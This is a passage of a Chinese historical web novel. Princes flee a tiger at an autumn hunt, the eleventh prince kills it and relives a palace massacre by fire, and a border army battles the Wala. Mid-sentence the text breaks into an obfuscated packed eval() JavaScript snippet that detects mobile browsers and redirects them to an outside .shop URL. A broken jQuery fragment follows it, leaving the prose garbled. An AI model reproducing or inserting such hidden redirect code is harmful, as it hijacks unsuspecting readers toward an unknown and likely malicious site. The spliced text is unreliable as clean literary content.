“逢泽,赶紧上来!”
李直曲没时间去解套马的绳索,孟华允冲李直曲伸手,将人带上马。
李直曲搭上孟华允的手臂,翻身一踹,为了拖延时间将篝火中的柴火全踢向了后方。
火星照耀温度灼热,后头的马儿受惊高高扬起马蹄,火把没烧着老虎,反倒险些将马背上的人给颠下来!
来人半个身子都被甩偏,他右手死死地拽住鬃毛,左手牢牢地护着怀里的人。
“吼——”一路上都在奔袭蓄力的吊睛白额大虎,见到猎物松懈有可乘之机,它背部隆起,后肢发力,巨大而锋利的前掌划破气流,猛地向前扑去!
充满力量的虎掌往前一拍!
“嘭!”
马儿受痛嘶鸣,而马背上的男子再也坚持不住,抱着人半跌着往下摔,但就在此时,树丛中突然伸出一只大手——猛地拽住坠马之人的衣领,将他包括他怀中的人径直拖进灌木丛里!
邓戚匆忙将人救下,不等对方反应,不由分说地将他往树干上抛去。
本就流血不止的林侍郎家的公子差点痛死过去!
还有一人邓戚掂量份量格外的轻,但情况紧急顾不上许多,邓戚也将人往树上抛。
他半警告着:“别叫出声,握住树干别脱手!”
扑腾到树上的林千金被吓得眼泪都流不出来,敢怒不敢言。
老虎生生止住脚步,转身追来!
——一枚蓄势待发的袖箭裹挟着破风声射向虎眼!
“——咻!”
老虎反射性地用虎掌虚挡住了箭头,箭矢轨迹偏离了一寸没能射进头颅,但淬了毒的箭簇已没入眼眶,疼痛令猛虎怒吼不止,整个林子都能听得到这里的动静。
它双目猩红,紧盯住刚逃离但未远去的李直曲和孟华允。
树梢震动,越来越近嘶吼声自李直曲和孟华允的背后传来。
孟华允只回头看了一眼,额间冷汗密布,这畜牲怎么发狂了?!
一个劲地追着他们不放?!
李直曲摸黑取下挂在马鞍上的神机弩,在望山上校准后一箭射出!
“啪嚓——!”
老虎挥掌狠狠拍落!
“该死!”李直曲两手发抖,急促地上弦后再次瞄准老虎。
孟华允御马纯熟,但林间树木穿插,视线不明,在低头避开横生的树杈时他根本来不及提醒李直曲。
一个颠簸,李直曲的箭又射空了,不仅如此,他的神机弩也在刚才被摔了出去。
这下李直曲彻底慌了。
“跑……快跑!”李直曲用颤抖的手接连敲着马臀,过度恐惧而发紧的嗓子在出声后找回了语调,“华允快跑,这畜牲追上来了!”
暗夜朝着更危险的去处深入,潜伏者仍旧默不作声的等待时机。
孟显允指尖叩着未拔出的长刀,他听着林深处传来的惊马嘶鸣,抬手按住了乔睿的手腕,示意他先放下手中的神臂弩。
"再等等。"
老虎的咆哮声越来越近,林鸟四散逃离,惊慌不已。
已经赶来的三山仿佛都嗅到老虎身上所散发出来的血腥气。
气味冲得人想要晕倒装死。
没想到这六皇子和李世子还有两下子,逃这么久还没被吃,命也算大。
不一会儿,三山就听到了坠马的翻滚声,三山小仇得报瞬间舒心:六皇子和李世子若是有良心就给他们殿下供长生碑,谢殿下等会的恩情。
“六哥!朝这来!”骤然出声露面的孟显允如同救星降临,只见他抬手示意身后:“放箭!”
连发的箭矢凌空而下!
李直曲来不及骂娘,拖着手臂在流血的孟华允一边躲着箭雨一边趁着这个空档逃离了虎口。
李直曲来不及回顾劫后重生的喜悦,下意识地开始怀疑孟显允的心思。
李直曲在心中暗骂:见鬼,孟显允这小人不会是个真君子罢?!
被不少箭矢射中又身中巨毒的老虎怒吼着扑向现身的孟显允。
众人心头一紧,就连李直曲都瞪大了双眼。
孟显允甩出身上虚搭着的外袍,火石骤然擦响,“恍——!”
燃烧的外袍缠住虎目,趁着猛兽短暂失明,孟显允手握唐横刀自下而上划出半轮冷色的弧光,刀刃深深没入老虎腹部!
巨兽身形沉重,刀势割破皮肉后就无法连贯,孟显允咬牙蹬在石块上借力猛地一划——
温热的鲜血喷涌而出!
孟显允躲避不及,泼洒而下的鲜血染透了他半边身子。
“轰——”老虎猛地倒下!
"殿下!!!"三山的惊呼混着邓戚的抽气声炸开。
孟显允长刀点地,稳住自己已然失力的身子。
“天呐……”
此处闹出的动静太大了。
人影憧憧从四处赶来,到此地的侍卫们见到此景首先就是倒吸一口凉气。
——孟显允神情淡漠地站在血泊当中,而他身侧是已了无声息的斑斓猛虎。
孟显允侧首垂眸,余光撇向了另一边的孟华允,什么都没有说。
死在身侧的猛虎并不是孟显允的入场券,失血过多晕倒被侍卫七手八脚抬下去孟华允才是他此次秋猎当中的“猎物”。
兄杀少弟?
不对。
这次秋猎本就是孟显允针对孟华允的以下犯上。
三山来扶孟显允,低声道:“殿下,你这身上血气太重了,咱们事已经了了……先去换一身吧?明天去面圣,咱讨个赏赐来。”
听三山说完,孟显允才后知后觉感受到了身上的黏腻厚重。
血污透过布料的肌理渗到了里衣,似经年久存于碗碟里的尘灰油污,用手一拭,只弥留下令人不适的触感。
密不透风的感觉压在孟显允身上,衣裳吸饱血液一点点地蚕食他的体温,那一瞬间,泼洒在孟显允身上的血像打开某个关窍的钥匙,带着过往的记忆再次张牙舞爪卖弄在他眼前。
——坍塌的屋顶、碎成瓷片的器皿,一道道冲天的火光重映在孟显允的脑海当中。
火,不停地在烧。
噼里啪啦,是上好的木料即将烧空的声响。
角架上的金杯玉盏和香炉一道摔得满地狼藉。
孟显允哑了声,什么都说不了、什么都说不出,他只能僵住身子,看着这一切的发生。
搀扶着孟显允的三山心里一咯噔,连忙上下扫视:殿下是不是哪受伤了?
孟显允有一晃神的失聪,三山的关心问候以及众人的惊叹都被逐渐拉长,不等那些声音彻底消失不见,刺耳喧嚣的救命声穿耳直入,重重击打在他的灵魂深处!
“走水了!!!”
“快来人呐!中承殿着火了,快来救火啊!”
孟显允站在殿门外,他看见火
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490800|202214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在烧——轰隆隆!
雕龙镂凤的柱子断裂后屋顶随之坍塌重重砸下!
——那真是一场烈火。
烧艳了平梁的南天,火光照耀下的红霞如美人醉颜,过了三天方才醒神。
藏着的污秽算计在大火之中焚得一干二净,就连石砖缝里溅起的灰尘都没放过,可偏偏又悲悯地留下一位见证者。
让孟显允一个人独享这镜花水月。
——拧香帕的小宫娥在浅笑,同提茶壶的内侍说话相约着去看花匠在庭中种植的木樨。
大宫娥则在轻声提醒拖木剑砍牡丹的昭明公主,苦口婆心地想让她学学十一殿下的稳重。
小公主随性肆意,充耳不闻,她狡黠的目光随着一只樱色蝴蝶一道栖落在宫内美人的鬓边。
美人闲靠在漆红桌前。
偌大的铜镜映照着她光洁的侧颜,姿态如花临水;美人浅浅颔首,默许着女儿焚琴煮鹤的另类风雅。
蝴蝶贪恋香气不愿离去,与透过琉璃瓦散下来的浅黄色光线一道定格成一副画面,岁月静好得恍若昨日。
转瞬间——
天真无邪的幼童溺在深井中,瑶裙如谢了的牡丹,在水中盛开。
风华绝代的倩影悬在横梁上,蝶翅半折,荆钗落了一地。
一众面庞在火海中烧成了黑灰,活着的人只剩孟显允。
在黑夜里嘶喊的亡魂们不甘地伸出手拖拽着孟显允,指甲嵌入血肉,让孟显允在午夜梦回时痛得不能自抑。
孟显允已经是孤魂野鬼,可他在这世上仍要挣出一条活路。
——他需时刻记住自己是十一皇子!
——大陈的皇子!
孟显允回过神来,他妥善地吩咐一众侍卫将受伤的孟华允送至回营,当袖口的血腥气再度逸散至鼻尖时,孟显允忍住了想吐的欲望。
所有悲戚的过往都在这一瞬被遗忘,众人只记得今夜孟显允倚刀擒虎的风雅。
悲戚延续到翌日清晨,平梁千里之外——
漠北,大雪。
在雪地白草里埋伏多日的沈家军终于遇上了屡犯边关的瓦剌。
战火一触即发。
——金鼓的声响激荡在血气冲云的战场,战马嘶鸣着冲向敌阵,满脸血痕的士兵高举着大刀没入瓦剌人的身体。
小将勒紧缰绳,挥着战旗!
将士在唱:无衣!无衣!与子同袍!生难同处,死则同衾!【1】
苍凉的歌声回响在血气翻涌的战场上空,血性与功勋披挂在异处的尸骨上,漫天的大雪与战争一样悲壮。
不知过了多久,金鼓声终于停歇了下来。
北风吹动鲜血染就的长缨,塞外大雁雍雍而过,将军沈霆站在煞气漫天的战场中久久无言。
这是三月春景无法抵达的边陲之地,每年都只有寒冬会来得格外早。
西北风一吹,连绵的塞草一夜黄白,秋季顷刻荡然无存,漫长的冬天便这般强硬地占据了漠北。
沈霆肩上落了不少雪,风霜在他身上留下的痕迹已然很重了,眼梢眉尾都是刻痕,他体格仍旧高大,仍像城墙一般牢靠。
沈霆最小的儿子沈观复牵马而来,神情平静。
许久后,沈观复牵住沈霆的手。
沈观复轻声道:“父亲,回去吧。”
“我也去……”
去九重阙。
——做守阶犬。